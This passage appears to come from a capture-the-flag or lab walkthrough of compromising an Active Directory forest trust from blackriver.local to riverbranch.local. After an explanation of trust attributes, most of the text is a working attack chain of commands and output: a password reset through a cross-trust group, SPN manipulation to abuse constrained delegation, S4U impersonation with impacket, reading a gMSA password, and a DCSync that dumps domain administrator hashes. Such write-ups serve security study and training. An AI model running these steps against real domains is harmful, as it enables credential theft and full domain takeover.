AD’s unique identifier for this particular directory object. Mostly useful when correlating LDAP/object operations. |
| SelectiveAuthentication | False |
Forest-wide authentication is being used rather than selective authentication. Users from the trusted forest don’t need an explicit Allowed to Authenticate ACE merely to authenticate to machines in this forest. Normal ACL authorization still applies. |
| SIDFilteringForestAware | False |
The trust isn’t using the forest-aware SID-filtering mode represented by this property. |
| SIDFilteringQuarantined | False |
The trust does not have the QUARANTINED_DOMAIN trust attribute set. This matters for which SIDs contained in cross-trust authorization data are accepted. |
| Source | DC=blackriver,DC=local |
The domain from whose perspective you’re viewing the trust: blackriver.local. |
| Target | riverbranch.local |
The other side of the trust. |
| TGTDelegation | False |
Cross-trust Kerberos TGT delegation isn’t enabled. This restricts scenarios where a service in the other forest could receive/use a user’s forwarded TGT. |
| TrustAttributes | 8 |
Bitmask representing the trust’s trustAttributes. 8 (0x8) = FOREST_TRANSITIVE, which explains ForestTransitive : True. |
| TrustedPolicy | blank | No associated legacy trusted-domain policy object/value is being reported. Not super important. |
| TrustingPolicy | blank | Same general category as TrustedPolicy; Also not super important. |
| TrustType | Uplevel |
Trust is with a Windows AD-style domain rather than a downlevel/NT4-style domain or MIT Kerberos realm. |
| UplevelOnly | False |
The UPLEVEL_ONLY trust attribute isn’t set. |
| UsesAESKeys | False |
The TDO isn’t flagged as using AES trust keys. This doesn’t mean “Kerberos cannot use AES anywhere”; it’s specifically describing the trust’s authentication material/configuration. |
| UsesRC4Encryption | False |
Likewise, the corresponding trust attribute indicating RC4 use isn’t set. Don’t interpret these two properties alone as a complete inventory of Kerberos encryption actually negotiated. |
What this means all broken down
blackriver.local
⇅
forest trust
⇅
riverbranch.local
Direction: Bidirectional
Forest transitive: Yes
Same forest: No
Selective authentication: No
TGT delegation: No
TrustAttributes: FOREST_TRANSITIVE (0x8)Important: authentication across the trust is not the same as authorization to resources once you are across.
Because:
SelectiveAuthentication : Falsea riverbranch.local principal doesn’t require an Allowed to Authenticate ACE on every blackriver.local computer before authentication can occur. But that absolutely does not mean:
“riverbranch users can access everything in blackriver.”
They still need whatever authorization the resource requires: such as local group membership, share ACL, NTFS ACL, AD object ACE, service permissions, etc.
SID-filtering fields
These two are easy to misread:
SIDFilteringForestAware : False
SIDFilteringQuarantined : FalseThey are not two versions of a boolean called “SID filtering enabled.”
AD has several trust attributes and trust-boundary rules governing what SIDs are accepted across different kinds of trusts. Since this is specifically a forest trust (FOREST_TRANSITIVE) between separate forests, Windows applies forest-trust boundary behavior that isn’t fully represented by looking at SIDFilteringQuarantined alone.
Meaning you cannot conclude from this output:
SIDFilteringQuarantined : Falsethat “SIDHistory attacks will pass across the trust.”
Before we go there, on the Administrator’s desktop on DC01 is RiverBranch_Access_Review.pdf with some useful information.
Users in the BLACKRIVER\Branch Operations are embedded in RIVERBRANCH\Branch Support Systems and inherit whatever permissions that group has.
Also if you remember back to the shared files from forever ago, user j.torrance@riverbranch.local was directly mentioned.
Since we can put an agent on DC01 for pivoting, we can use the referral and trust-info gathering capabilities of either bloodyAD or bloodhound-ce-python to enumerate some of the trust since we don’t have access yet.
If all I needed was a Golden Ticket, then none of this would be necessary…but alas.
We need to put a user into Branch Operations and since I’m still in my administrator session
evil-winrm-py PS C:\Users\Administrator\Documents> Add-ADGroupMember -Identity "Branch Operations" -Members "d.hamilton"
Then we can let dougie gather info
bloodyAD --host dc01.blackriver.local -d blackriver.local -u d.hamilton -p [REDACTED] get bloodhound --transitive
Look at that, a direct path from d.hamilton to j.torrance through the embedded cross-trust group.
For this we are going to need a ticket that will be respected by the riverbranch.local domain controller.
Anyways, now we have a valid ticket for a user inside the Branch Operations group which is inside the Branch Support Systems group.
which means we should be able to change j.torrance password.
bloodyAD --host br-dc01.riverbranch.local -d riverbranch.local -u 'd.hamilton' -k set password 'j.torrance' [REDACTED]
[+] Password changed successfully!
RIVERBRANCH\j.torrance BR-OPS01
Access as BR-OPS01$
j.torrance has only one interesting writable property:
bloodyAD --host br-dc01.riverbranch.local -d riverbranch.local -u j.torrance -k get writable --detail
distinguishedName: CN=MGMT01,CN=Computers,DC=riverbranch,DC=local
servicePrincipalName: WRITE
which doesn’t seem super useful yet. It already has spns and the hash isn’t crackable. We know that MGMT01$ can read the gMSA password for svc_directory$ but we can’t get there yet.
Bloodhound does have a clue:
Digging a bit more deeply into that
nxc ldap br-dc01.riverbranch.local -d riverbranch.local -u j.torrance -k --use-kcache --find-delegation
LDAP br-dc01.riverbranch.local 389 BR-DC01 [*] Windows 11 / Server 2025 Build 26100 (name:BR-DC01) (domain:riverbranch.local) (signing:Enforced) (channel binding:When Supported)
LDAP br-dc01.riverbranch.local 389 BR-DC01 [+] riverbranch.local\j.torrance from ccache
LDAP br-dc01.riverbranch.local 389 BR-DC01 AccountName AccountType DelegationType DelegationRightsTo
LDAP br-dc01.riverbranch.local 389 BR-DC01 ----------- ----------- ---------------------------------- --------------------------------
LDAP br-dc01.riverbranch.local 389 BR-DC01 BR-OPS01$ Computer Constrained w/ Protocol Transition cifs/BR-FILE01.riverbranch.local
Wait…the PDF from the FILES\Shared\IT folder said BR-FILE01 was decommissioned.
💡LIGHTBULB!
Let’s give that servicePrincipalName to MGMT01$ since we can write that property and I’m sure they won’t mind.
bloodyAD --host br-dc01.riverbranch.local -d riverbranch.local -u j.torrance -k msldap addspn "CN=MGMT01,CN=Computers,DC=riverbranch,DC=local" 'cifs/BR-FILE01.riverbranch.local'
SPN added!
If you get an error, use the full distinguishedName
But wait, only BR-OPS01$ is trusted for delegation.
Thankfully, we’re in Server Administrators and Infrastructure and we’re a local administrator on that machine.
nxc smb br-ops01.riverbranch.local -d riverbranch.local -u j.torrance -k --use-kcache --smb-timeout 60
SMB br-ops01.riverbranch.local 445 BR-OPS01 [*] Windows 11 / Server 2025 Build 26100 x64 (name:BR-OPS01) (domain:riverbranch.local) (signing:True) (SMBv1:False)
SMB br-ops01.riverbranch.local 445 BR-OPS01 [+] riverbranch.local\j.torrance from ccache (Gatito!)
SMB br-ops01.riverbranch.local 445 BR-OPS01 Node J.TORRANCE@RIVERBRANCH.LOCAL successfully set as owned in BloodHound
After we make it spill all its secrets, we have the aesKey needed to request the service ticket and pinky-promise that we’re really administrator
impacket-secretsdump -k -no-pass br-ops01.riverbranch.local
impacket-getTGT 'RIVERBRANCH.LOCAL/BR-OPS01$' -aesKey [REDACTED]
RIVERBRANCH\br-ops01$ MGMT01
Access as MGMT01$
impacket-getST -spn 'cifs/BR-FILE01.riverbranch.local' \
-impersonate administrator 'RIVERBRANCH.LOCAL/BR-OPS01$' \
-aesKey [REDACTED] \
-altservice 'HOST/MGMT01.riverbranch.local'
[*] Impersonating administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Changing service from cifs/BR-FILE01.riverbranch.local@RIVERBRANCH.LOCAL to HOST/MGMT01.riverbranch.local@RIVERBRANCH.LOCAL
[*] Saving ticket in administrator@HOST_MGMT01.riverbranch.local@RIVERBRANCH.LOCAL.ccache
KRB5CCNAME="administrator@HOST_MGMT01.riverbranch.local@RIVERBRANCH.LOCAL.ccache" \
impacket-secretsdump -k -no-pass mgmt01.riverbranch.local
RIVERBRANCH\mgmt01$ Access as svc_directory$
MGMT01$ can read the gMSA password for svc_directory$
netexec can accept the aesKey directly
nxc ldap br-dc01.riverbranch.local -u 'MGMT01$' -aesKey [REDACTED] --gmsa
LDAP br-dc01.riverbranch.local 389 BR-DC01 [*] Getting GMSA Passwords
LDAP br-dc01.riverbranch.local 389 BR-DC01 Account: svc_directory$ NTLM: [REDACTED] PrincipalsAllowedToReadPassword: MGMT01$
LDAP br-dc01.riverbranch.local 389 BR-DC01 Account: svc_directory$ aes128-cts-hmac-sha1-96: [REDACTED]
LDAP br-dc01.riverbranch.local 389 BR-DC01 Account: svc_directory$ aes256-cts-hmac-sha1-96: [REDACTED]
RIVERBRANCH\svc_directory$BR-DC01
DCSync
We’re gonna win: svc_directory$ can perform a DCSync on the domain controller.
Get a ticket for svc_directory$
impacket-secretsdump -k -no-pass br-dc01.riverbranch.local
[-] Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:[REDACTED]:::
Access as administrator
From the secretsdump, get the aesKey so you can get a Kerberos ticket. Then login and take your flag trophy.
evil-winrm-py PS C:\Users\Administrator\Documents> whoami /all
USER INFORMATION
----------------
User Name SID
========================= ============================================
riverbranch\administrator S-1-5-21-2809356342-201643911-3824633363-500